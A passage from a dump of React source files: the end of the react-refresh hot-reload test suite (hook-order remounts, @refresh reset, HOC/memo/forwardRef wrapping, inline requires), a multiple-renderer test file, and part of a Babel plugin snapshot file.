container.firstChild;\n        expect(el.textContent).toBe('AXY');\n\n        await patch(`\n          const App = () => {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          const useFancyState = (initialState) => {\n            const result = useIndirection();\n            return result;\n          };\n\n          function useIndirection(initialState) {\n            return React.useState(initialState);\n          }\n\n          export default App;\n        `);\n        // We didn't change anything except the header text.\n        // So we don't expect a remount.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('BXY');\n\n        await patch(`\n          const App = () => {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>C{x}{y}</h1>;\n          };\n\n          const useFancyState = (initialState) => {\n            const result = useIndirection(initialState);\n            return result;\n          };\n\n          function useIndirection(initialState) {\n            React.useEffect(() => {});\n            return React.useState(initialState);\n          }\n\n          export default App;\n        `);\n        // The useIndirection Hook added an affect,\n        // so we had to remount the component.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('CXY');\n\n        await patch(`\n          const App = () => {\n            const [x, setX] = useFancyState('X');\n            const [y, setY] = useFancyState('Y');\n            return <h1>D{x}{y}</h1>;\n          };\n\n          const useFancyState = (initialState) => {\n            const result = useIndirection();\n            return result;\n          };\n\n          function useIndirection(initialState) {\n            React.useEffect(() => {});\n            return React.useState(initialState);\n          }\n\n          export default App;\n        `);\n        // We didn't change anything except the header text.\n        // So we don't expect a remount.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('DXY');\n      }\n    });\n\n    it('does not lose the inferred arrow names', async () => {\n      if (__DEV__) {\n        await render(`\n          const Parent = () => {\n            return <Child/>;\n          };\n\n          const Child = () => {\n            useMyThing();\n            return <h1>{Parent.name} {Child.name} {useMyThing.name}</h1>;\n          };\n\n          const useMyThing = () => {\n            React.useState();\n          };\n\n          export default Parent;\n        `);\n        expect(container.textContent).toBe('Parent Child useMyThing');\n      }\n    });\n\n    it('does not lose the inferred function names', async () => {\n      if (__DEV__) {\n        await render(`\n          var Parent = function() {\n            return <Child/>;\n          };\n\n          var Child = function() {\n            useMyThing();\n            return <h1>{Parent.name} {Child.name} {useMyThing.name}</h1>;\n          };\n\n          var useMyThing = function() {\n            React.useState();\n          };\n\n          export default Parent;\n        `);\n        expect(container.textContent).toBe('Parent Child useMyThing');\n      }\n    });\n\n    it('resets state on every edit with @refresh reset annotation', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n          const S = 1;\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>A{foo}</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 2;\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>B{foo}</h1>;\n          }\n        `);\n        // Same state variable name, so state is preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useState} = React;\n          const S = 3;\n\n          /* @refresh reset */\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>C{foo}</h1>;\n          }\n        `);\n        // Found remount annotation, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C3');\n\n        await patch(`\n          const {useState} = React;\n          const S = 4;\n\n          export default function App() {\n\n            // @refresh reset\n\n            const [foo, setFoo] = useState(S);\n            return <h1>D{foo}</h1>;\n          }\n        `);\n        // Found remount annotation, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('D4');\n\n        await patch(`\n          const {useState} = React;\n          const S = 5;\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>E{foo}</h1>;\n          }\n        `);\n        // There is no remount annotation anymore,\n        // so preserve the previous state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('E4');\n\n        await patch(`\n          const {useState} = React;\n          const S = 6;\n\n          export default function App() {\n            const [foo, setFoo] = useState(S);\n            return <h1>F{foo}</h1>;\n          }\n        `);\n        // Continue editing.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('F4');\n\n        await patch(`\n          const {useState} = React;\n          const S = 7;\n\n          export default function App() {\n\n            /* @refresh reset */\n\n            const [foo, setFoo] = useState(S);\n            return <h1>G{foo}</h1>;\n          }\n        `);\n        // Force remount one last time.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('G7');\n      }\n    });\n\n    // This is best effort for simple cases.\n    // We won't attempt to resolve identifiers.\n    it('resets state when useState initial state is edited', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useState} = React;\n\n          export default function App() {\n            const [foo, setFoo] = useState(1);\n            return <h1>A{foo}</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useState} = React;\n\n          export default function App() {\n            const [foo, setFoo] = useState(1);\n            return <h1>B{foo}</h1>;\n          }\n        `);\n        // Same initial state, so it's preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useState} = React;\n\n          export default function App() {\n            const [foo, setFoo] = useState(2);\n            return <h1>C{foo}</h1>;\n          }\n        `);\n        // Different initial state, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C2');\n      }\n    });\n\n    // This is best effort for simple cases.\n    // We won't attempt to resolve identifiers.\n    it('resets state when useReducer initial state is edited', async () => {\n      if (__DEV__) {\n        await render(`\n          const {useReducer} = React;\n\n          export default function App() {\n            const [foo, setFoo] = useReducer(x => x, 1);\n            return <h1>A{foo}</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n\n        await patch(`\n          const {useReducer} = React;\n\n          export default function App() {\n            const [foo, setFoo] = useReducer(x => x, 1);\n            return <h1>B{foo}</h1>;\n          }\n        `);\n        // Same initial state, so it's preserved.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B1');\n\n        await patch(`\n          const {useReducer} = React;\n\n          export default function App() {\n            const [foo, setFoo] = useReducer(x => x, 2);\n            return <h1>C{foo}</h1>;\n          }\n        `);\n        // Different initial state, so state is reset.\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C2');\n      }\n    });\n\n    it('remounts when switching export from function to class', async () => {\n      if (__DEV__) {\n        await render(`\n          export default function App() {\n            return <h1>A1</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          export default function App() {\n            return <h1>A2</h1>;\n          }\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('A2');\n\n        await patch(`\n          export default class App extends React.Component {\n            render() {\n              return <h1>B1</h1>\n            }\n          }\n        `);\n        // Reset (function -> class).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B1');\n        await patch(`\n          export default class App extends React.Component {\n            render() {\n              return <h1>B2</h1>\n            }\n          }\n        `);\n        // Reset (classes always do).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B2');\n\n        await patch(`\n          export default function App() {\n            return <h1>C1</h1>;\n          }\n        `);\n        // Reset (class -> function).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C1');\n        await patch(`\n          export default function App() {\n            return <h1>C2</h1>;\n          }\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('C2');\n\n        await patch(`\n          export default function App() {\n            return <h1>D1</h1>;\n          }\n        `);\n        el = container.firstChild;\n        expect(el.textContent).toBe('D1');\n        await patch(`\n          export default function App() {\n            return <h1>D2</h1>;\n          }\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('D2');\n      }\n    });\n\n    it('remounts when switching export from class to function', async () => {\n      if (__DEV__) {\n        await render(`\n          export default class App extends React.Component {\n            render() {\n              return <h1>A1</h1>\n            }\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          export default class App extends React.Component {\n            render() {\n              return <h1>A2</h1>\n            }\n          }\n        `);\n        // Reset (classes always do).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('A2');\n\n        await patch(`\n          export default function App() {\n            return <h1>B1</h1>;\n          }\n        `);\n        // Reset (class -> function).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B1');\n        await patch(`\n          export default function App() {\n            return <h1>B2</h1>;\n          }\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n\n        await patch(`\n          export default class App extends React.Component {\n            render() {\n              return <h1>C1</h1>\n            }\n          }\n        `);\n        // Reset (function -> class).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C1');\n      }\n    });\n\n    it('remounts when wrapping export in a HOC', async () => {\n      if (__DEV__) {\n        await render(`\n          export default function App() {\n            return <h1>A1</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          export default function App() {\n            return <h1>A2</h1>;\n          }\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('A2');\n\n        await patch(`\n          function hoc(Inner) {\n            return function Wrapper() {\n              return <Inner />;\n            }\n          }\n\n          function App() {\n            return <h1>B1</h1>;\n          }\n\n          export default hoc(App);\n        `);\n        // Reset (wrapped in HOC).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B1');\n        await patch(`\n          function hoc(Inner) {\n            return function Wrapper() {\n              return <Inner />;\n            }\n          }\n\n          function App() {\n            return <h1>B2</h1>;\n          }\n\n          export default hoc(App);\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n\n        await patch(`\n          export default function App() {\n            return <h1>C1</h1>;\n          }\n        `);\n        // Reset (unwrapped).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C1');\n        await patch(`\n          export default function App() {\n            return <h1>C2</h1>;\n          }\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('C2');\n      }\n    });\n\n    it('remounts when wrapping export in memo()', async () => {\n      if (__DEV__) {\n        await render(`\n          export default function App() {\n            return <h1>A1</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          export default function App() {\n            return <h1>A2</h1>;\n          }\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('A2');\n\n        await patch(`\n          function App() {\n            return <h1>B1</h1>;\n          }\n\n          export default React.memo(App);\n        `);\n        // Reset (wrapped in HOC).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B1');\n        await patch(`\n          function App() {\n            return <h1>B2</h1>;\n          }\n\n          export default React.memo(App);\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n\n        await patch(`\n          export default function App() {\n            return <h1>C1</h1>;\n          }\n        `);\n        // Reset (unwrapped).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C1');\n        await patch(`\n          export default function App() {\n            return <h1>C2</h1>;\n          }\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('C2');\n      }\n    });\n\n    it('remounts when wrapping export in forwardRef()', async () => {\n      if (__DEV__) {\n        await render(`\n          export default function App() {\n            return <h1>A1</h1>;\n          }\n        `);\n        let el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          export default function App() {\n            return <h1>A2</h1>;\n          }\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('A2');\n\n        await patch(`\n          function App() {\n            return <h1>B1</h1>;\n          }\n\n          export default React.forwardRef(App);\n        `);\n        // Reset (wrapped in HOC).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('B1');\n        await patch(`\n          function App() {\n            return <h1>B2</h1>;\n          }\n\n          export default React.forwardRef(App);\n        `);\n        // Keep state.\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n\n        await patch(`\n          export default function App() {\n            return <h1>C1</h1>;\n          }\n        `);\n        // Reset (unwrapped).\n        expect(container.firstChild).not.toBe(el);\n        el = container.firstChild;\n        expect(el.textContent).toBe('C1');\n        await patch(`\n          export default function App() {\n            return <h1>C2</h1>;\n          }\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('C2');\n      }\n    });\n\n    it('resets useMemoCache cache slots', async () => {\n      if (__DEV__) {\n        await render(`\n          const useMemoCache = require('react/compiler-runtime').c;\n          let cacheMisses = 0;\n          const cacheMiss = (id) => {\n            cacheMisses++;\n            return id;\n          };\n          export default function App(t0) {\n            const $ = useMemoCache(1);\n            const {reset1} = t0;\n            let t1;\n            if ($[0] !== reset1) {\n              $[0] = t1 = cacheMiss({reset1});\n            } else {\n              t1 = $[1];\n            }\n            return <h1>{cacheMisses}</h1>;\n          }\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('1');\n        await patch(`\n          const useMemoCache = require('react/compiler-runtime').c;\n          let cacheMisses = 0;\n          const cacheMiss = (id) => {\n            cacheMisses++;\n            return id;\n          };\n          export default function App(t0) {\n            const $ = useMemoCache(2);\n            const {reset1, reset2} = t0;\n            let t1;\n            if ($[0] !== reset1) {\n              $[0] = t1 = cacheMiss({reset1});\n            } else {\n              t1 = $[1];\n            }\n            let t2;\n            if ($[1] !== reset2) {\n              $[1] = t2 = cacheMiss({reset2});\n            } else {\n              t2 = $[1];\n            }\n            return <h1>{cacheMisses}</h1>;\n          }\n        `);\n        expect(container.firstChild).toBe(el);\n        // cache size changed between refreshes\n        expect(el.textContent).toBe('2');\n      }\n    });\n\n    describe('with inline requires', () => {\n      beforeEach(() => {\n        global.FakeModuleSystem = {};\n      });\n\n      afterEach(() => {\n        delete global.FakeModuleSystem;\n      });\n\n      it('remounts component if custom hook it uses changes order on first edit', async () => {\n        // This test verifies that remounting works even if calls to custom Hooks\n        // were transformed with an inline requires transform, like we have on RN.\n        // Inline requires make it harder to compare previous and next signatures\n        // because useFancyState inline require always resolves to the newest version.\n        // We're not actually using inline requires in the test, but it has similar semantics.\n        if (__DEV__) {\n          await render(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>A{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          let el = container.firstChild;\n          expect(el.textContent).toBe('AXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              React.useEffect(() => {});\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>B{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          // The useFancyState Hook added an effect,\n          // so we had to remount the component.\n          expect(container.firstChild).not.toBe(el);\n          el = container.firstChild;\n          expect(el.textContent).toBe('BXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              React.useEffect(() => {});\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>C{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          // We didn't change anything except the header text.\n          // So we don't expect a remount.\n          expect(container.firstChild).toBe(el);\n          expect(el.textContent).toBe('CXY');\n        }\n      });\n\n      it('remounts component if custom hook it uses changes order on second edit', async () => {\n        if (__DEV__) {\n          await render(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>A{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          let el = container.firstChild;\n          expect(el.textContent).toBe('AXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>B{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          expect(container.firstChild).toBe(el);\n          expect(el.textContent).toBe('BXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              React.useEffect(() => {});\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>C{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          // The useFancyState Hook added an effect,\n          // so we had to remount the component.\n          expect(container.firstChild).not.toBe(el);\n          el = container.firstChild;\n          expect(el.textContent).toBe('CXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              React.useEffect(() => {});\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>D{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          // We didn't change anything except the header text.\n          // So we don't expect a remount.\n          expect(container.firstChild).toBe(el);\n          expect(el.textContent).toBe('DXY');\n        }\n      });\n\n      it('recovers if evaluating Hook list throws', async () => {\n        if (__DEV__) {\n          await render(`\n          let FakeModuleSystem = null;\n\n          global.FakeModuleSystem.useFancyState = function(initialState) {\n            return React.useState(initialState);\n          };\n\n          const App = () => {\n            FakeModuleSystem = global.FakeModuleSystem;\n            const [x, setX] = FakeModuleSystem.useFancyState('X');\n            const [y, setY] = FakeModuleSystem.useFancyState('Y');\n            return <h1>A{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n          let el = container.firstChild;\n          expect(el.textContent).toBe('AXY');\n\n          await patch(`\n          let FakeModuleSystem = null;\n\n          global.FakeModuleSystem.useFancyState = function(initialState) {\n            React.useEffect(() => {});\n            return React.useState(initialState);\n          };\n\n          const App = () => {\n            FakeModuleSystem = global.FakeModuleSystem;\n            const [x, setX] = FakeModuleSystem.useFancyState('X');\n            const [y, setY] = FakeModuleSystem.useFancyState('Y');\n            return <h1>B{x}{y}</h1>;\n          };\n\n          export default App;\n        `);\n          // We couldn't evaluate the Hook signatures\n          // so we had to remount the component.\n          expect(container.firstChild).not.toBe(el);\n          el = container.firstChild;\n          expect(el.textContent).toBe('BXY');\n        }\n      });\n\n      it('remounts component if custom hook it uses changes order behind an indirection', async () => {\n        if (__DEV__) {\n          await render(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              return FakeModuleSystem.useIndirection(initialState);\n            };\n\n            FakeModuleSystem.useIndirection = function(initialState) {\n              return FakeModuleSystem.useOtherIndirection(initialState);\n            };\n\n            FakeModuleSystem.useOtherIndirection = function(initialState) {\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>A{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          let el = container.firstChild;\n          expect(el.textContent).toBe('AXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              return FakeModuleSystem.useIndirection(initialState);\n            };\n\n            FakeModuleSystem.useIndirection = function(initialState) {\n              return FakeModuleSystem.useOtherIndirection(initialState);\n            };\n\n            FakeModuleSystem.useOtherIndirection = function(initialState) {\n              React.useEffect(() => {});\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>B{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n\n          // The useFancyState Hook added an effect,\n          // so we had to remount the component.\n          expect(container.firstChild).not.toBe(el);\n          el = container.firstChild;\n          expect(el.textContent).toBe('BXY');\n\n          await patch(`\n            const FakeModuleSystem = global.FakeModuleSystem;\n\n            FakeModuleSystem.useFancyState = function(initialState) {\n              return FakeModuleSystem.useIndirection(initialState);\n            };\n\n            FakeModuleSystem.useIndirection = function(initialState) {\n              return FakeModuleSystem.useOtherIndirection(initialState);\n            };\n\n            FakeModuleSystem.useOtherIndirection = function(initialState) {\n              React.useEffect(() => {});\n              return React.useState(initialState);\n            };\n\n            const App = () => {\n              const [x, setX] = FakeModuleSystem.useFancyState('X');\n              const [y, setY] = FakeModuleSystem.useFancyState('Y');\n              return <h1>C{x}{y}</h1>;\n            };\n\n            export default App;\n          `);\n          // We didn't change anything except the header text.\n          // So we don't expect a remount.\n          expect(container.firstChild).toBe(el);\n          expect(el.textContent).toBe('CXY');\n        }\n      });\n    });\n  }\n\n  function testTypeScript(render, patch) {\n    it('reloads component exported in typescript namespace', async () => {\n      if (__DEV__) {\n        await render(`\n          namespace Foo {\n            export namespace Bar {\n              export const Child = ({prop}) => {\n                return <h1>{prop}1</h1>\n              };\n            }\n          }\n\n          export default function Parent() {\n            return <Foo.Bar.Child prop={'A'} />;\n          }\n        `);\n        const el = container.firstChild;\n        expect(el.textContent).toBe('A1');\n        await patch(`\n          namespace Foo {\n            export namespace Bar {\n              export const Child = ({prop}) => {\n                return <h1>{prop}2</h1>\n              };\n            }\n          }\n\n          export default function Parent() {\n            return <Foo.Bar.Child prop={'B'} />;\n          }\n        `);\n        expect(container.firstChild).toBe(el);\n        expect(el.textContent).toBe('B2');\n      }\n    });\n  }\n});\n"
  },
  {
    "path": "packages/react-refresh/src/__tests__/ReactFreshMultipleRenderer-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\njest.resetModules();\nconst React = require('react');\nlet ReactFreshRuntime;\nif (__DEV__) {\n  ReactFreshRuntime = require('react-refresh/runtime');\n  ReactFreshRuntime.injectIntoGlobalHook(global);\n}\nconst ReactDOMClient = require('react-dom/client');\nconst act = require('internal-test-utils').act;\n\njest.resetModules();\nconst ReactART = require('react-art');\nconst ARTSVGMode = require('art/modes/svg');\nconst ARTCurrentMode = require('art/modes/current');\nARTCurrentMode.setCurrent(ARTSVGMode);\n\ndescribe('ReactFresh', () => {\n  let container;\n\n  beforeEach(() => {\n    if (__DEV__) {\n      container = document.createElement('div');\n      document.body.appendChild(container);\n    }\n  });\n\n  afterEach(() => {\n    if (__DEV__) {\n      document.body.removeChild(container);\n      container = null;\n    }\n  });\n\n  it('can update components managed by different renderers independently', async () => {\n    if (__DEV__) {\n      const InnerV1 = function () {\n        return <ReactART.Shape fill=\"blue\" />;\n      };\n      ReactFreshRuntime.register(InnerV1, 'Inner');\n\n      const OuterV1 = function () {\n        return (\n          <div style={{color: 'blue'}}>\n            <ReactART.Surface>\n              <InnerV1 />\n            </ReactART.Surface>\n          </div>\n        );\n      };\n      ReactFreshRuntime.register(OuterV1, 'Outer');\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<OuterV1 />);\n      });\n      const el = container.firstChild;\n      const pathEl = el.querySelector('path');\n      expect(el.style.color).toBe('blue');\n      expect(pathEl.getAttributeNS(null, 'fill')).toBe('rgb(0, 0, 255)');\n\n      // Perform a hot update to the ART-rendered component.\n      const InnerV2 = function () {\n        return <ReactART.Shape fill=\"red\" />;\n      };\n      ReactFreshRuntime.register(InnerV2, 'Inner');\n\n      ReactFreshRuntime.performReactRefresh();\n      expect(container.firstChild).toBe(el);\n      expect(el.querySelector('path')).toBe(pathEl);\n      expect(el.style.color).toBe('blue');\n      expect(pathEl.getAttributeNS(null, 'fill')).toBe('rgb(255, 0, 0)');\n\n      // Perform a hot update to the DOM-rendered component.\n      const OuterV2 = function () {\n        return (\n          <div style={{color: 'red'}}>\n            <ReactART.Surface>\n              <InnerV1 />\n            </ReactART.Surface>\n          </div>\n        );\n      };\n      ReactFreshRuntime.register(OuterV2, 'Outer');\n\n      ReactFreshRuntime.performReactRefresh();\n      expect(el.style.color).toBe('red');\n      expect(container.firstChild).toBe(el);\n      expect(el.querySelector('path')).toBe(pathEl);\n      expect(pathEl.getAttributeNS(null, 'fill')).toBe('rgb(255, 0, 0)');\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-refresh/src/__tests__/__snapshots__/ReactFreshBabelPlugin-test.js.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`ReactFreshBabelPlugin can handle implicit arrow returns 1`] = `\nvar _s = $RefreshSig$(),\n  _s2 = $RefreshSig$(),\n  _s3 = $RefreshSig$(),\n  _s4 = $RefreshSig$(),\n  _s5 = $RefreshSig$(),\n  _s6 = $RefreshSig$();\nexport default _s(() => {\n  _s();\n  return useContext(X);\n}, \"useContext{}\");\nexport const Foo = () => {\n  _s2();\n  return useContext(X);\n};\n_s2(Foo, \"useContext{}\");\n_c = Foo;\nmodule.exports = _s3(() => {\n  _s3();\n  return useContext(X);\n}, \"useContext{}\");\nconst Bar = () => {\n  _s4();\n  return useContext(X);\n};\n_s4(Bar, \"useContext{}\");\n_c2 = Bar;\nconst Baz = _s5(memo(_c3 = _s5(() => {\n  _s5();\n  return useContext(X);\n}, \"useContext{}\")), \"useContext{}\");\n_c4 = Baz;\nconst Qux = () => {\n  _s6();\n  return 0, useContext(X);\n};\n_s6(Qux, \"useContext{}\");\n_c5 = Qux;\nvar _c, _c2, _c3, _c4, _c5;\n$RefreshReg$(_c, \"Foo\");\n$RefreshReg$(_c2, \"Bar\");\n$RefreshReg$(_c3, \"Baz$memo\");\n$RefreshReg$(_c4, \"Baz\");\n$RefreshReg$(_c5, \"Qux\");\n`;\n\nexports[`ReactFreshBabelPlugin does not consider require-like methods to be HOCs 1`] = `\nconst A = require('A');\nconst B = foo ? require('X') : require('Y');\nconst C = requireCond(gk, 'C');\nconst D = import('D');\nexport default function App() {\n  return <div>\n              <A />\n              <B />\n              <C />\n              <D />\n            </div>;\n}\n_c = App;\nvar _c;\n$RefreshReg$(_c, \"App\");\n`;\n\nexports[`ReactFreshBabelPlugin does not get tripped by IIFEs 1`] = `\nwhile (item) {\n  var _s = $RefreshSig$();\n  _s(item => {\n    _s();\n    useFoo();\n  }, \"useFoo{}\", true)(item);\n}\n`;\n\nexports[`ReactFreshBabelPlugin generates signatures for function declarations calling hooks 1`] = `\nvar _s = $RefreshSig$();\nexport default function App() {\n  _s();\n  const [foo, setFoo] = useState(0);\n  React.useEffect(() => {});\n  return <h1>{foo}</h1>;\n}\n_s(App, \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\");\n_c = App;\nvar _c;\n$RefreshReg$(_c, \"App\");\n`;\n\nexports[`ReactFreshBabelPlugin generates signatures for function expressions calling hooks 1`] = `\nvar _s = $RefreshSig$(),\n  _s2 = $RefreshSig$();\nexport const A = _s(React.memo(_c2 = _s(React.forwardRef(_c = _s((props, ref) => {\n  _s();\n  const [foo, setFoo] = useState(0);\n  React.useEffect(() => {});\n  return <h1 ref={ref}>{foo}</h1>;\n}, \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\")), \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\")), \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\");\n_c3 = A;\nexport const B = _s2(React.memo(_c5 = _s2(React.forwardRef(_c4 = _s2(function (props, ref) {\n  _s2();\n  const [foo, setFoo] = useState(0);\n  React.useEffect(() => {});\n  return <h1 ref={ref}>{foo}</h1>;\n}, \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\")), \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\")), \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\");\n_c6 = B;\nfunction hoc() {\n  var _s3 = $RefreshSig$();\n  return _s3(function Inner() {\n    _s3();\n    const [foo, setFoo] = useState(0);\n    React.useEffect(() => {});\n    return <h1 ref={ref}>{foo}</h1>;\n  }, \"useState{[foo, setFoo](0)}\\\\nuseEffect{}\");\n}\nexport let C = hoc();\nvar _c, _c2, _c3, _c4, _c5, _c6;\n$RefreshReg$(_c, \"A$React.memo$React.forwardRef\");\n$RefreshReg$(_c2, \"A$React.memo\");\n$RefreshReg$(_c3, \"A\");\n$RefreshReg$(_c4, \"B$React.memo$React.forwardRef\");\n$RefreshReg$(_c5, \"B$React.memo\");\n$RefreshReg$(_c6, \"B\");\n`;\n\nexports[`ReactFreshBabelPlugin generates valid signature for 